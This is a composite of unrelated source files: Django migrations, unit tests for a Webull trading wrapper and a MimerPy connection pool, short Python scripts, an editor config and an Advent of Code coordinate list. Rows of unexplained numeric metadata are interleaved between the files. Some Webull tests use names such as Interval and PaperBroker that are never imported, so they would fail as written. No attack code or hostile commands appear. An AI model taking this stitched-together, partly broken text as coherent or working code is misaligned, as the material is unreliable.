# Generated by Django 3.1.1 on 2020-10-30 21:03 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Afiliados', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('code', models.CharField(max_length=10)), ('nombre', models.CharField(max_length=100)), ('apellido', models.CharField(max_length=100)), ('direccion', models.CharField(max_length=100)), ('email', models.CharField(max_length=100)), ('id_ciudad', models.CharField(max_length=100)), ('estado', models.CharField(max_length=100)), ('fecha_creacion', models.CharField(max_length=100)), ('fecha_modificacion', models.CharField(max_length=100)), ], ), ]
33.7
114
0.573689
102
1,011
5.539216
0.480392
0.238938
0.286726
0.382301
0.4
0.113274
0
0
0
0
0
0.057024
0.288823
1,011
29
115
34.862069
0.72879
0.04451
0
0
1
0
0.095436
0
0
0
0
0
0
1
0
false
0
0.045455
0
0.227273
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
a50a117058a20d8842046312c3d1cf7c806c6541
120
py
Python
maro/utils/exception/__init__.py
yangboz/maro
0973783e55ca07bf8e177910c9d47854117a4ea8
[ "MIT" ]
598
2020-09-23T00:50:22.000Z
2022-03-31T08:12:54.000Z
maro/utils/exception/__init__.py
gx9702/maro
38c796f0a7ed1e0f64c299d96c6e0df032401fa9
[ "MIT" ]
235
2020-09-22T10:20:48.000Z
2022-03-31T02:10:03.000Z
maro/utils/exception/__init__.py
gx9702/maro
38c796f0a7ed1e0f64c299d96c6e0df032401fa9
[ "MIT" ]
116
2020-09-22T09:19:04.000Z
2022-02-12T05:04:07.000Z
from .base_exception import MAROException from .error_code import ERROR_CODE __all__ = ["ERROR_CODE", "MAROException"]
24
41
0.808333
15
120
5.933333
0.533333
0.303371
0
0
0
0
0
0
0
0
0
0
0.108333
120
4
42
30
0.831776
0
0
0
0
0
0.191667
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
4
a50bbf29f858816e13e6796e46fff3fa219791a3
231
py
Python
Python/problem16/main.py
singmyr/project-euler
ce22c4d404f9d026f083a65c343bd81f3af3638b
[ "MIT" ]
null
null
null
Python/problem16/main.py
singmyr/project-euler
ce22c4d404f9d026f083a65c343bd81f3af3638b
[ "MIT" ]
null
null
null
Python/problem16/main.py
singmyr/project-euler
ce22c4d404f9d026f083a65c343bd81f3af3638b
[ "MIT" ]
null
null
null
# 2^15 = 32768 and the sum of its digits is 3 + 2 + 7 + 6 + 8 = 26. # What is the sum of the digits of the number 2^1000? from functools import reduce print(reduce((lambda x, y: str(int(y) + int(x))), list(str(pow(2, 1000)))))
25.666667
75
0.632035
47
231
3.106383
0.638298
0.082192
0.109589
0
0
0
0
0
0
0
0
0.138122
0.21645
231
8
76
28.875
0.668508
0.506494
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0.5
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
1
0
4
ebad47534a3e78e1160a4b5a9a8aa98bf6cdbcdf
5,474
py
Python
tests/test_api_webull.py
alexonab/harvest
de8fe7887d861d0cd662f446a86b4a598ddf41d4
[ "MIT" ]
null
null
null
tests/test_api_webull.py
alexonab/harvest
de8fe7887d861d0cd662f446a86b4a598ddf41d4
[ "MIT" ]
null
null
null
tests/test_api_webull.py
alexonab/harvest
de8fe7887d861d0cd662f446a86b4a598ddf41d4
[ "MIT" ]
null
null
null
# Builtins import pathlib import unittest import datetime as dt import os from harvest.utils import not_gh_action class TestWebull(unittest.TestCase): @not_gh_action def test_fetch_prices(self): from harvest.api.webull import Webull wb = Webull() interval = { "@BTC": {"interval": Interval.MIN_1, "aggregations": []}, "SPY": {"interval": Interval.MIN_1, "aggregations": []}, } wb.setup(interval) df = wb.fetch_price_history("SPY", interval=Interval.MIN_1)["SPY"] self.assertEqual( sorted(list(df.columns.values)), sorted(["open", "high", "low", "close", "volume"]), ) df = wb.fetch_price_history("BTC", interval=Interval.MIN_1)["BTC"] self.assertEqual( sorted(list(df.columns.values)), sorted(["open", "high", "low", "close", "volume"]), ) @not_gh_action def test_setup(self): from harvest.api.webull import Webull wb = Webull() watch = ["SPY", "@BTC"] interval = { "@BTC": {"interval": Interval.MIN_1, "aggregations": []}, "SPY": {"interval": Interval.MIN_1, "aggregations": []}, } wb.setup(interval) self.assertEqual(wb.watch_stock, ["SPY"]) self.assertEqual(wb.watch_crypto, ["@BTC"]) @not_gh_action def test_main(self): from harvest.api.webull import Webull def test_main(df): self.assertEqual(len(df), 2) self.assertEqual(df["SPY"].columns[0][0], "SPY") self.assertEqual(df["@BTC"].columns[0][0], "@BTC") wb = Webull() watch = ["SPY", "@BTC"] interval = { "@BTC": {"interval": Interval.MIN_1, "aggregations": []}, "SPY": {"interval": Interval.MIN_1, "aggregations": []}, } wb.setup(interval, None, test_main) wb.main() @not_gh_action def test_main_single(self): from harvest.api.webull import Webull def test_main(df): self.assertEqual(len(df), 1) self.assertEqual(df["SPY"].columns[0][0], "SPY") wb = Webull() watch = ["SPY"] interval = {"SPY": {"interval": Interval.MIN_1, "aggregations": []}} wb.setup(interval, None, test_main) wb.main() @not_gh_action def test_chain_info(self): from harvest.api.webull import Webull wb = Webull() watch = ["SPY"] interval = {"SPY": {"interval": Interval.MIN_1, "aggregations": []}} wb.setup(interval) info = wb.fetch_chain_info("SPY") self.assertGreater(len(info["exp_dates"]), 0) @not_gh_action def test_chain_data(self): from harvest.api.webull import Webull wb = Webull() watch = ["LMND"] interval = {"LMND": {"interval": Interval.MIN_1, "aggregations": []}} wb.setup(interval) dates = wb.fetch_chain_info("LMND")["exp_dates"] data = wb.fetch_chain_data("LMND", dates[0]) self.assertGreater(len(data), 0) self.assertListEqual(list(data.columns), ["exp_date", "strike", "type", "id"]) sym = data.index[0] df = wb.fetch_option_market_data(sym) self.assertTrue(True) @not_gh_action def test_order_option_limit(self): dummy = PaperBroker() dummy.streamer = Webull() interval = {"A": {"interval": Interval.MIN_1, "aggregations": []}} dummy.setup(interval) exp_date = dt.datetime.now() + dt.timedelta(hours=5) order = dummy.order_option_limit( "buy", "A", 5, 50000, "OPTION", exp_date, 50001 ) self.assertEqual(order["type"], "OPTION") self.assertEqual(order["id"], 0) self.assertEqual(order["symbol"], "A") @not_gh_action def test_sell(self): dummy = PaperBroker() dummy.streamer = Webull() interval = {"A": {"interval": Interval.MIN_1, "aggregations": []}} dummy.setup(interval) order = dummy.sell("A", 2) self.assertEqual(order["type"], "STOCK") self.assertEqual(order["id"], 0) self.assertEqual(order["symbol"], "A") @not_gh_action def test_sell_order_limit(self): dummy = PaperBroker() dummy.streamer = Webull() interval = {"A": {"interval": Interval.MIN_1, "aggregations": []}} dummy.setup(interval) order = dummy.order_limit("sell", "A", 2, 50000) self.assertEqual(order["type"], "STOCK") self.assertEqual(order["id"], 0) self.assertEqual(order["symbol"], "A") @not_gh_action def test_buy(self): dummy = PaperBroker() dummy.streamer = Webull() interval = {"A": {"interval": Interval.MIN_1, "aggregations": []}} dummy.setup(interval) order = dummy.buy("A", 5) self.assertEqual(order["type"], "STOCK") self.assertEqual(order["id"], 0) self.assertEqual(order["symbol"], "A") @not_gh_action def test_buy_order_limit(self): dummy = PaperBroker() dummy.streamer = Webull() interval = {"A": {"interval": Interval.MIN_1, "aggregations": []}} dummy.setup(interval) order = dummy.order_limit("buy", "A", 5, 50000) self.assertEqual(order["type"], "STOCK") self.assertEqual(order["id"], 0) self.assertEqual(order["symbol"], "A") if __name__ == "__main__": unittest.main()
33.175758
86
0.57015
620
5,474
4.877419
0.143548
0.119048
0.100529
0.10582
0.77381
0.720238
0.702381
0.702381
0.665675
0.651124
0
0.014699
0.266715
5,474
164
87
33.378049
0.738665
0.001461
0
0.638298
0
0
0.108346
0
0
0
0
0
0.198582
1
0.092199
false
0
0.078014
0
0.177305
0
0
0
0
null
0
0
0
0
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
ebc572a37bb462067eb74710e7f02ddaaf621a56
11,200
py
Python
tests/testMimerPool.py
perschr/MimerPy
8bcc6da9d675654930a518fd12a7f28605df12b1
[ "MIT" ]
3
2018-12-03T08:37:46.000Z
2020-06-30T08:15:10.000Z
tests/testMimerPool.py
perschr/MimerPy
8bcc6da9d675654930a518fd12a7f28605df12b1
[ "MIT" ]
5
2018-11-29T14:13:17.000Z
2021-05-15T09:09:06.000Z
tests/testMimerPool.py
perschr/MimerPy
8bcc6da9d675654930a518fd12a7f28605df12b1
[ "MIT" ]
1
2020-09-29T01:31:26.000Z
2020-09-29T01:31:26.000Z
# Copyright (c) 2017 Mimer Information Technology # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # # See license for more details. import unittest import mimerpy import sys import pathlib import db_config #To be able to run without installing the package m_path = str(pathlib.Path(__file__).parent.parent.absolute()) sys.path.append(m_path) from mimerpy.pool import ( MimerPool, MimerPoolError, MimerPoolExhausted) __version__ = '1.0' class TestMimerPool(unittest.TestCase): @classmethod def setUpClass(self): (self.syscon, self.tstcon) = db_config.setup() self.DSN = db_config.TSTUSR['dsn'] self.USER = db_config.TSTUSR['user'] self.PASSWORD = db_config.TSTUSR['password'] @classmethod def tearDownClass(self): db_config.teardown(tstcon=self.tstcon, syscon=self.syscon) def test_pool1_CreateConnection(self): pool = MimerPool( initialconnections=1, maxunused=2, maxconnections=3, block=False, dsn=self.DSN, user=self.USER, password=self.PASSWORD) self.assertEqual(pool.cached_connections, 1) con = pool.get_connection() from mimerpy.pool import PooledConnection self.assertTrue(isinstance(con, PooledConnection)) con.close() db = pool.get_connection() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 1) db2 = pool.get_connection() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 2) db3 = pool.get_connection() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 3) db.autocommit(True) cur = db.execute('select * from system.onerow') r = cur.fetchone() cur.close() db.close() self.assertEqual(pool.cached_connections, 1) self.assertEqual(pool.used_connections, 2) db2.close() self.assertEqual(pool.cached_connections, 2) self.assertEqual(pool.used_connections, 1) db3.close() self.assertEqual(pool.cached_connections, 2) self.assertEqual(pool.used_connections, 0) db = pool.get_connection() self.assertEqual(pool.cached_connections, 1) self.assertEqual(pool.used_connections, 1) pool.close() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 0) pool = None def test_pool2_CreateConnectionNoMaxCache(self): pool = MimerPool( initialconnections=1, maxunused=0, maxconnections=3, block=False, dsn=self.DSN, user=self.USER, password=self.PASSWORD) del(pool) pool = MimerPool( initialconnections=1, maxunused=0, maxconnections=3, block=False, dsn=self.DSN, user=self.USER, password=self.PASSWORD) self.assertEqual(pool.cached_connections, 1) self.assertEqual(pool.used_connections, 0) con = pool.get_connection() from mimerpy.pool import PooledConnection self.assertTrue(isinstance(con, PooledConnection)) con.close() db = pool.get_connection() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 1) db2 = pool.get_connection() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 2) db3 = pool.get_connection() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 3) db.autocommit(True) cursor = db.cursor() cursor.execute('select * from system.onerow') r = cursor.fetchone() cursor.close() db.close() self.assertEqual(pool.cached_connections, 1) self.assertEqual(pool.used_connections, 2) db2.close() self.assertEqual(pool.cached_connections, 2) self.assertEqual(pool.used_connections, 1) db3.close() self.assertEqual(pool.cached_connections, 3) self.assertEqual(pool.used_connections, 0) pool.close() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 0) def test_pool3_CreateManyConnections(self): #See how many connections the database allows, but no more than max_cons max_cons = 100 available_cons = 0 cons = [] try: while True and available_cons < max_cons: c = mimerpy.mimerpy.connect(dsn = self.DSN, user=self.USER, password=self.PASSWORD) cons.append(c) available_cons = available_cons +1 except (mimerpy.mimPyExceptions.OperationalError): pass finally: for c in cons: c.close() self.assertGreaterEqual(available_cons, 50, "50 available connections ore more needed") pool = MimerPool( initialconnections=5, maxunused=0, maxconnections=10, block=False, dsn=self.DSN, user=self.USER, password=self.PASSWORD) self.assertEqual(pool.cached_connections, 5) self.assertEqual(pool.used_connections, 0) cons = [pool.get_connection() for cnt in range(10)] self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 10) for con in cons: con.close() self.assertEqual(pool.cached_connections, 10) self.assertEqual(pool.used_connections, 0) cons = [pool.get_connection() for cnt in range(10)] self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 10) self.assertRaises(MimerPoolExhausted, pool.get_connection) pool.close() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 0) del pool pool = MimerPool( initialconnections=5, maxunused=0, maxconnections=available_cons+1, block=False, dsn=self.DSN, user=self.USER, password=self.PASSWORD) #This will be slow since we have to create all the connection cons = [pool.get_connection() for cnt in range(available_cons)] self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, available_cons) for con in cons: con.close() self.assertEqual(pool.cached_connections, available_cons) self.assertEqual(pool.used_connections, 0) #This will be quick since the connections are already open cons = [pool.get_connection() for cnt in range(available_cons)] self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, available_cons) self.assertRaises(mimerpy.mimPyExceptions.OperationalError, pool.get_connection) for con in cons: con.close() self.assertEqual(pool.cached_connections, available_cons) self.assertEqual(pool.used_connections, 0) pool.close() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 0) def test_pool4_PoolWithStatement(self): with MimerPool(initialconnections=1, maxunused=2, maxconnections=3, block=False, dsn=self.DSN, user=self.USER, password=self.PASSWORD) as pool: self.assertEqual(pool.cached_connections, 1) con = pool.get_connection() from mimerpy.pool import PooledConnection self.assertTrue(isinstance(con, PooledConnection)) con.close() db = pool.get_connection() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 1) db2 = pool.get_connection() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 2) db3 = pool.get_connection() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 3) db.autocommit(True) cur = db.execute('select * from system.onerow') r = cur.fetchone() cur.close() db.close() self.assertEqual(pool.cached_connections, 1) self.assertEqual(pool.used_connections, 2) db2.close() self.assertEqual(pool.cached_connections, 2) self.assertEqual(pool.used_connections, 1) db3.close() self.assertEqual(pool.cached_connections, 2) self.assertEqual(pool.used_connections, 0) db = pool.get_connection() self.assertEqual(pool.cached_connections, 1) self.assertEqual(pool.used_connections, 1) self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 0) def test_pool5_PoolConnectionWithStatement(self): pool = MimerPool( initialconnections=1, maxunused=2, maxconnections=3, block=False, dsn=self.DSN, user=self.USER, password=self.PASSWORD) self.assertEqual(pool.cached_connections, 1) with pool.get_connection() as con: from mimerpy.pool import PooledConnection self.assertTrue(isinstance(con, PooledConnection)) db2 = None with pool.get_connection() as db: self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 1) db2 = pool.get_connection() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 2) cur = db.execute('select * from system.onerow') r = cur.fetchone() cur.close() self.assertEqual(pool.cached_connections, 1) self.assertEqual(pool.used_connections, 1) db2.close() self.assertEqual(pool.cached_connections, 2) self.assertEqual(pool.used_connections, 0) pool.close() self.assertEqual(pool.cached_connections, 0) self.assertEqual(pool.used_connections, 0) if __name__ == '__main__': unittest.main()
41.025641
99
0.663839
1,300
11,200
5.601538
0.170769
0.16685
0.211343
0.144191
0.699533
0.691294
0.686487
0.670558
0.670558
0.66479
0
0.016673
0.244911
11,200
272
100
41.176471
0.844389
0.119107
0
0.732719
0
0
0.017681
0
0
0
0
0
0.40553
1
0.032258
false
0.046083
0.046083
0
0.082949
0
0
0
0
null
0
1
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
4
ebd2f10d8f1f2d72e903c36c0567b8068de109a8
111
py
Python
automol/mult/_mult.py
kevinmooreiii/autochem
87f50adc09c3f1170459c629697aadd74154c769
[ "Apache-2.0" ]
null
null
null
automol/mult/_mult.py
kevinmooreiii/autochem
87f50adc09c3f1170459c629697aadd74154c769
[ "Apache-2.0" ]
null
null
null
automol/mult/_mult.py
kevinmooreiii/autochem
87f50adc09c3f1170459c629697aadd74154c769
[ "Apache-2.0" ]
null
null
null
""" spin multiplicities """ def spin(mult): """ number of unpaired electrons """ return mult - 1
12.333333
36
0.585586
12
111
5.416667
0.833333
0
0
0
0
0
0
0
0
0
0
0.012346
0.27027
111
8
37
13.875
0.790123
0.477477
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
4
ebd9e24975fc2ffb143e15b03c3f7f2d4a97ed9e
226
py
Python
.ycm_extra_conf.py
ReactiveXYZ-Dev/janus
bc240f6e7f0c3f69ad1a39ac215750cf24af83cf
[ "MIT" ]
5
2020-01-10T18:02:22.000Z
2021-11-03T05:32:17.000Z
.ycm_extra_conf.py
ReactiveXYZ-Dev/janus
bc240f6e7f0c3f69ad1a39ac215750cf24af83cf
[ "MIT" ]
1
2020-06-09T21:41:45.000Z
2020-06-10T00:59:23.000Z
.ycm_extra_conf.py
ReactiveXYZ-Dev/janus
bc240f6e7f0c3f69ad1a39ac215750cf24af83cf
[ "MIT" ]
5
2019-08-24T08:16:32.000Z
2020-11-11T13:33:10.000Z
def Settings( **kwargs ): return { 'flags': [ '-O3', '-std=gnu11', '-fms-extensions', '-Wno-microsoft-anon-tag', '-Iinclude/', '-Ilib/', '-pthread', '-Wall', '-Werror', '-pedantic'] }
22.6
47
0.473451
20
226
5.35
1
0
0
0
0
0
0
0
0
0
0
0.018182
0.269912
226
9
48
25.111111
0.630303
0
0
0
0
0
0.448889
0.102222
0
0
0
0
0
1
0.125
true
0
0
0.125
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
1
0
0
0
4
cce6aef6e25103bcce76aa9caf4053ab8a64d01c
3,195
py
Python
JJE_Standings/migrations/0001_initial.py
namur007/JJE_App
7765953455133f33a5dcc4a2f3a99ffb38eae71f
[ "MIT" ]
2
2017-05-05T14:02:37.000Z
2017-07-21T13:19:31.000Z
JJE_Standings/migrations/0001_initial.py
namur007/JJE_App
7765953455133f33a5dcc4a2f3a99ffb38eae71f
[ "MIT" ]
7
2018-01-31T13:28:12.000Z
2020-02-19T01:57:55.000Z
JJE_Standings/migrations/0001_initial.py
namur007/JJE_App
7765953455133f33a5dcc4a2f3a99ffb38eae71f
[ "MIT" ]
null
null
null
# Generated by Django 2.2.6 on 2019-10-24 22:23 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('JJE_Main', '0001_initial'), ] operations = [ migrations.CreateModel( name='StandingsRequestHistory', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('date_created', models.DateTimeField(auto_now=True)), ], options={ 'ordering': ['date_created'], }, ), migrations.CreateModel( name='YahooStanding', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('date_created', models.DateTimeField(auto_now=True)), ('rank', models.IntegerField()), ('stat_point_total', models.FloatField()), ('stat_1', models.FloatField()), ('stat_2', models.FloatField()), ('stat_3', models.FloatField()), ('stat_4', models.FloatField()), ('stat_5', models.FloatField()), ('stat_8', models.FloatField()), ('stat_12', models.FloatField()), ('stat_31', models.FloatField()), ('stat_19', models.FloatField()), ('stat_22', models.FloatField()), ('stat_23', models.FloatField()), ('stat_25', models.FloatField()), ('stat_24', models.FloatField()), ('stat_26', models.FloatField()), ('stat_27', models.FloatField()), ('stat_points_1', models.FloatField()), ('stat_points_2', models.FloatField()), ('stat_points_3', models.FloatField()), ('stat_points_4', models.FloatField()), ('stat_points_5', models.FloatField()), ('stat_points_8', models.FloatField()), ('stat_points_12', models.FloatField()), ('stat_points_31', models.FloatField()), ('stat_points_19', models.FloatField()), ('stat_points_22', models.FloatField()), ('stat_points_23', models.FloatField()), ('stat_points_25', models.FloatField()), ('stat_points_24', models.FloatField()), ('stat_points_26', models.FloatField()), ('stat_points_27', models.FloatField()), ('standings_week', models.IntegerField()), ('current_standings', models.BooleanField(default=False)), ('yahoo_team', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='standing_team', to='JJE_Main.YahooTeam')), ], options={ 'verbose_name': 'Yahoo Standing', 'verbose_name_plural': 'Yahoo Standings', 'ordering': ['current_standings', 'rank'], }, ), ]
43.175676
188
0.529577
284
3,195
5.704225
0.285211
0.306173
0.37037
0.240741
0.148148
0.148148
0.148148
0.148148
0.148148
0.148148
0
0.030776
0.318623
3,195
73
189
43.767123
0.713367
0.014085
0
0.212121
1
0
0.188056
0.007306
0
0
0
0
0
1
0
false
0
0.030303
0
0.090909
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
ccf99171cbb39ce3569d242582b1b16af35c31c3
37
py
Python
tootorch/attention_methods/__init__.py
TooTouch/tootorch
32fb4df4ea553f2b4bca7220e0dc870a27515865
[ "MIT" ]
3
2020-03-05T10:07:04.000Z
2021-08-14T01:25:28.000Z
tootorch/attention_methods/__init__.py
TooTouch/tootorch
32fb4df4ea553f2b4bca7220e0dc870a27515865
[ "MIT" ]
null
null
null
tootorch/attention_methods/__init__.py
TooTouch/tootorch
32fb4df4ea553f2b4bca7220e0dc870a27515865
[ "MIT" ]
null
null
null
__all__ = ['cam','cbam','ran','warn']
37
37
0.567568
5
37
3.4
1
0
0
0
0
0
0
0
0
0
0
0
0.054054
37
1
37
37
0.485714
0
0
0
0
0
0.368421
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
692ab76e293b05ca1683d3e780abf475465488c1
103
py
Python
day06/demo04.py
CHExN/practice_python
10460eebaabe52b64163604506eeaa84ebb4d229
[ "MIT" ]
null
null
null
day06/demo04.py
CHExN/practice_python
10460eebaabe52b64163604506eeaa84ebb4d229
[ "MIT" ]
null
null
null
day06/demo04.py
CHExN/practice_python
10460eebaabe52b64163604506eeaa84ebb4d229
[ "MIT" ]
null
null
null
''' 用模块管理函数 ''' import demo01 as d1 import demo02 as d2 import demo03 as d3 d1.foo() d2.foo() d3.foo()
10.3
19
0.679612
19
103
3.684211
0.526316
0
0
0
0
0
0
0
0
0
0
0.141176
0.174757
103
9
20
11.444444
0.682353
0.067961
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
15d32e1cb37f8d16c6387cec1bf45f2610cdb752
13,983
py
Python
2018/2018_25a.py
davidxiao93/Advent-of-Code
29503100ae4eb46b048fc3ab68ff0181c6f00ee5
[ "MIT" ]
null
null
null
2018/2018_25a.py
davidxiao93/Advent-of-Code
29503100ae4eb46b048fc3ab68ff0181c6f00ee5
[ "MIT" ]
null
null
null
2018/2018_25a.py
davidxiao93/Advent-of-Code
29503100ae4eb46b048fc3ab68ff0181c6f00ee5
[ "MIT" ]
null
null
null
input = """-1,-1,-4,-1 0,1,8,5 -8,-5,2,-6 -1,3,-2,-3 -1,1,6,1 4,-8,0,-5 8,-6,-5,6 -6,2,-8,1 -5,6,-2,-5 3,-8,0,0 -3,-7,-5,-6 -1,-4,-7,-5 -7,3,1,-6 -5,4,-4,0 1,-7,0,-6 4,-1,1,2 6,1,6,-2 2,1,-8,-6 -7,-7,3,2 -8,-5,8,-5 -8,2,-1,4 8,6,7,1 6,-4,-1,-7 8,-2,2,4 0,8,8,3 6,-7,-6,8 -8,-2,8,6 1,-8,-6,-8 -6,-1,5,-6 5,2,7,-3 5,7,0,-3 0,2,-8,7 1,8,2,8 5,-5,3,-3 7,-5,1,-8 -3,1,-3,1 0,-5,5,5 1,-5,2,-4 7,-6,1,0 8,-3,-3,-4 4,0,2,-6 6,7,-6,-5 4,8,0,-5 -3,-1,-1,0 4,-4,4,-4 -3,4,-3,-4 0,-8,-6,6 -4,3,-4,0 -1,3,2,0 1,6,5,-3 -8,-8,3,8 0,-1,5,-1 -6,0,-5,2 4,-4,0,-2 4,0,-8,-3 -6,-6,-2,-3 3,-5,0,-3 3,-3,6,1 -1,0,1,6 -7,-1,-2,-1 -1,4,-7,0 -1,7,8,-8 -1,-1,3,0 -8,8,-3,2 -8,5,-1,8 0,-1,0,2 -1,7,5,6 -4,6,-6,2 -3,-5,3,-4 8,-7,-4,6 1,-3,0,5 -1,-6,-5,-8 1,8,-2,-7 -8,7,-1,6 3,2,0,6 -5,-8,7,-5 5,-6,-6,-5 -7,-7,2,-8 -2,-1,2,-1 6,-5,-6,-4 7,7,-1,-5 8,5,3,4 -5,-5,-5,-3 0,6,-4,3 -7,5,4,-4 6,-8,-1,-8 8,3,-8,1 3,-3,0,-2 8,3,4,8 0,-6,-1,-4 5,-2,6,-2 1,-2,0,-3 -3,-7,-3,8 -1,-6,0,0 6,-1,-3,4 2,2,-5,0 3,8,2,-7 -6,-3,-4,6 -2,-4,-5,-3 -6,-7,-2,7 4,7,8,1 -4,5,-6,5 0,6,1,1 -1,3,8,-6 -2,5,-4,-3 -5,0,8,7 -1,7,-5,6 7,1,-4,4 -6,-3,-7,8 3,-8,1,8 -6,-3,6,0 -7,0,-8,3 1,1,1,-6 -8,5,3,6 7,-2,2,-1 3,-8,-1,-4 0,1,2,-5 -4,2,0,3 -2,-5,6,-8 -1,-6,1,6 4,7,1,-2 5,-5,7,-4 4,4,7,-2 -8,2,2,7 -2,7,4,-2 6,-8,7,-7 -3,2,5,1 -6,2,5,-2 -3,6,8,-1 -5,2,4,7 -3,5,5,-6 0,8,5,7 -5,-5,0,-1 8,6,3,-8 -6,-2,7,2 -8,8,-2,-3 1,4,4,3 -3,3,-3,-1 -6,-4,8,-3 -3,1,-6,0 3,-6,-7,-6 -7,0,-7,7 -7,-2,1,1 -8,7,-4,5 -5,0,2,0 -6,-5,8,0 5,1,2,6 -4,-2,-7,-6 2,5,-2,-6 -3,-3,-8,8 8,-1,0,-1 8,-3,-6,0 -7,0,4,-7 1,6,-6,6 6,6,0,-7 6,8,-5,-5 7,-3,-2,-6 5,-2,-8,2 -1,4,-5,-8 3,6,-2,0 -2,-5,0,-8 -1,0,2,4 0,7,8,0 2,-5,-4,7 2,5,1,3 0,4,0,1 -5,-2,2,-5 2,-7,-6,-5 -1,-7,8,-5 2,-3,-1,-5 5,-2,-8,-4 -3,-1,2,4 -2,-5,6,-5 0,2,-6,6 2,1,-4,1 -3,1,-3,8 -4,-8,7,6 6,-8,2,6 -4,-4,-6,-2 4,-8,-8,-2 -8,-7,-4,0 -5,2,-5,-6 3,-7,-7,6 -8,-3,7,6 2,5,-1,8 8,5,-4,0 -7,0,-3,-7 -1,3,-7,-7 -2,0,7,6 2,-1,-2,-7 1,0,0,-6 0,-1,-1,-7 1,-1,2,-4 8,-7,-5,-8 -3,2,-8,2 -5,5,3,-8 -4,2,-8,-4 -8,7,2,1 8,-4,-2,0 0,-8,1,-8 -3,1,4,-8 -8,-7,-1,0 8,7,-4,7 -1,5,6,-4 4,2,-3,8 3,0,-5,-4 -3,5,-3,-5 8,4,0,-1 -1,-5,7,7 2,5,-6,-2 0,-6,-7,-5 0,0,4,1 0,-2,6,-2 -5,-1,2,6 -5,1,-8,-6 1,-1,-1,5 -7,6,7,-1 -8,6,-7,0 -5,-5,-2,-7 -5,-2,5,8 1,1,6,4 -1,2,6,8 2,-7,-2,0 3,0,1,2 -6,5,-1,-5 7,-5,-8,-5 -2,-1,3,4 -6,-7,-5,8 -3,0,-5,5 6,-7,4,-5 3,0,8,-5 4,-4,-4,0 